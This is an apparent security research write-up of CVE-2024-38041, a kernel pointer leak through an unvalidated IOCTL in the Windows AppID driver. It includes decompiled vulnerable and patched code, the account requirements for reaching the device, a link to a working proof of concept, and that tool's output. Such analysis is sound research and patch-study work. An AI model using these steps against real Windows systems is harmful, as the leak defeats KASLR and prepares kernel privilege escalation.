CVE-2024-38041 - Windows AppLocker Exposure of Sensitive Information to an Unauthorized Actor
CVE-2024-38041 is a information leak vulnerability in the Windows AppID driver (appid.sys
). The flaw lies in the handler for IOCTL code 0x22A014
, which lacks proper validation of the caller’s access mode. Specifically, the AipDeviceIoControlDispatch
function does not verify that the request originates from kernel mode. As a result, a user-mode process running as LOCAL SERVICE can trigger this IOCTL to leak kernel pointers via a shared SystemBuffer. By impersonating the LOCAL SERVICE account and invoking the vulnerable IOCTL, an attacker can leak kernel addresses, bypassing KASLR and paving the way for further kernel exploitation.
CVE-2024-38041: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38041
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Tested On: Windows 11 23H2
Driver Version: appid.sys - 10.0.22621.3155
Requirements
To send the IOCTL request, the IOCTL code was examined and found to have the access flag set to FILE_WRITE_ACCESS
. This means the I/O manager will dispatch the IRP only if the caller has write access rights.
The device’s security descriptor was checked to determine which users have permission to open a handle. It was observed that only the AppIDSvc
and LOCAL SERVICE
accounts have full access and Administrator
does not. As a result, a cmd.exe
session must be run under one of these two accounts to interact with and exploit the device.
One of the simplest methods to achieve this is by using PsExec.exe
to spawn a shell as the LOCAL SERVICE
user.
Vulnerability analysis
The IOCTL request sent to 0x22A014
first checks whether the OutputBufferLength
is exactly 48 bytes. If the length does not match, the operation exits with an error. If the condition is met, the driver copies certain kernel addresses and function pointers into the SystemBuffer
. Since this IOCTL uses METHOD_BUFFERED
, both input and output are shared via IRP->AssociatedIrp.SystemBuffer
. As a result, this behavior leads to a kernel address leak.
__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{
[::]
case 0x22A014:
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
WPP_SF_(
(__int64)WPP_GLOBAL_Control->AttachedDevice,
0x1Au,
(__int64)&WPP_9fed954e24023a5a6dae708fb6376e6f_Traceguids);
if ( CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength != 48 )
goto LABEL_27;
SystemBuffer = IRP->AssociatedIrp.SystemBuffer;
*SystemBuffer = &Resource;
SystemBuffer[1] = &xmmword_1C00168A8;
SystemBuffer[2] = (char *)&xmmword_1C00168A8 + 8;
SystemBuffer[3] = &qword_1C00168B8;
SystemBuffer[4] = AiReleaseOriginProcessData;
SystemBuffer[5] = AiAllocUninstallStringData;
IRP->IoStatus.Information = 48LL;
[::]
}
Exploit
Tested on: Windows 11 22H2 (01-2024 Build) Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-38041/POC
PS C:\Users\h4x\Desktop> .\CVE-2024-38041.exe -p 1544
[+] Trying to find Thread ID for the given process PID: 1544
[+] First Thread ID of the process: 1548
[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process
[+] Opening handle to Applocker device
[+] Calling AipDeviceIoControlDispatch ....success
[+] Leaked Kernel Address:
[*] Value0: 0xFFFFF80180C96820
[*] Value1: 0xFFFFF80180C96888
[*] Value2: 0xFFFFF80180C96890
[*] Value3: 0xFFFFF80180C96898
[*] Value4: 0xFFFFF80180C9D250
[*] Value5: 0xFFFFF80180C9C570
Patch
In the patched version, a call to ExGetPreviousMode()
ensures only kernel-mode callers can proceed, blocking this path.
__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP)
{
[::]
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 )
WPP_SF_(
(__int64)WPP_GLOBAL_Control->AttachedDevice,
0x1Au,
(__int64)&WPP_a52c6a01ee1136c5e851ebb08df688b5_Traceguids);
if ( (unsigned int)Feature_2619781439__private_IsEnabledDeviceUsage() && ExGetPreviousMode() ) // Fix
goto LABEL_19;
if ( *(_DWORD *)(v5 + 8) != 48 )
goto LABEL_28;
v11 = *(PVOID ***)(a2 + 24);
*v11 = &WPP_MAIN_CB.Reserved;
v11[1] = (PVOID *)&xmmword_1C0016888;
v11[2] = (PVOID *)&xmmword_1C0016888 + 1;
v11[3] = (PVOID *)&qword_1C0016898;
v11[4] = (PVOID *)AiReleaseOriginProcessData;
v11[5] = (PVOID *)AiAllocUninstallStringData;
*(_QWORD *)(a2 + 56) = 48LL;
[::]
}